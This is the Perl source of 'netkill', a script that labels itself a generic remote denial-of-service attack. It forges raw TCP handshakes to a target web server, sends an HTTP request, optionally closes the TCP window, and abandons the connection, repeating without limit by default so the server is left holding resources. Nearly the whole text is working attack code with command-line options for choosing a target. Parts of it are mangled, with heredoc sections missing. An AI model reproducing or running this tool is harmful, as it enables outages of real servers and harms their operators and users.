Netkill source code: -------------------- cut here -------------------- #!/usr/bin/perl -w # netkill - generic remote DoS attack use strict; use Net::RawIP ':pcap'; # Available from CPAN. use Socket; use Getopt::Std; # Process command line arguments. my %options; getopts('zvp:t:r:u:w:i:d:', \%options) or usage(); my $zero_window = $options{z}; # Close window in second packet? my $verbose = $options{v}; # Print progress indicators? my $d_port = $options{p} || 80; # Destination port. my $timeout = $options{t} || 1; # Timeout for pcap. my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data. my $url = $options{u} || '/'; # URL to request. my $window = $options{w} || 16384; # Window size. my $interval = $options{i} || 0.5; # Sleep time between `connections.' my $numpackets = $options{d} || -1; # Number of tries (-1 == infty). my $d_name = shift or usage(); # Target host name. shift and usage(); # Complain if other args present. # This is what we send to the remote host. # XXX: Must fit into one packet. my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end. my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once. or die "$d_name: Unknown host\n"; my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation. my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n"; my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n"; $| = 1 if $verbose; print < {}}); my $filter = # pcap filter to get SYN+ACK. "src $d_ip_str and tcp src port $d_port and tcp dst port $s_port"; local $^W; # Unfortunately, Net::RawIP is not -w - OK. my $pcap; # If we don't have enough resources locally, pcapinit will die/croak. # We want to catch the error, hence eval. eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)}; $verbose? die "$@child died": exit 1 if $@; my $offset = linkoffset($pcap); # Link header length (14 or whatever). $^W = 1; # Send the first packet: SYN. $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, syn=>1, window=>$window, seq=>$my_seq}}); $packet->send; my $temp; # Put their SYN+ACK (binary packed string) into $ipacket. my $ipacket = &next($pcap, $temp); exit 1 unless $ipacket; # Timed out waiting for SYN+ACK. my $tcp = new Net::RawIP({tcp => {}}); # Load $ipacket without link header into a readable data structure. $tcp->bset(substr($ipacket, $offset)); $^W = 0; # All we want from their SYN+ACK is their sequence number. my ($his_seq) = $tcp->get({tcp=>['seq']}); # It might increase the interval between retransmits with some # TCP implementations if we wait a little bit here. select(undef, undef, undef, rand $fake_rtt); # Send ACK for SYN+ACK and our data all in one packet. # The spec allows it, and it works. # Who told you about "three-way handshake"? $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0, ack=>1, window=>$zero_window? 0: $window, ack_seq=>++$his_seq, seq=>++$my_seq, data=>$data}}); $packet->send; # At this point, if our second packet is not lost, the connection is # established. They can try to send us as much data as they want now: # We're not listening anymore. # If our second packet is lost, they'll have a SYN_RCVD connection. # Hopefully, they can handle even a SYN flood. exit 0; } } exit(0); sub usage { die < -v: Be verbose. Recommended for interactive use. -z: Close TCP window at the end of the conversation. -p: Port HTTP daemon is running on (default: 80). -t: Timeout for SYN+ACK to come (default: 1s, must be integer). -r: Max fake rtt, sleep between S+A and data packets (default: 0.05s). -u: URL to request (default: `/'). -w: Window size (default: 16384). Can change the type of attack. -i: Max sleep between `connections' (default: 0.5s). -d: How many times to try to hit (default: infinity). See "perldoc netkill" for more information. EOF }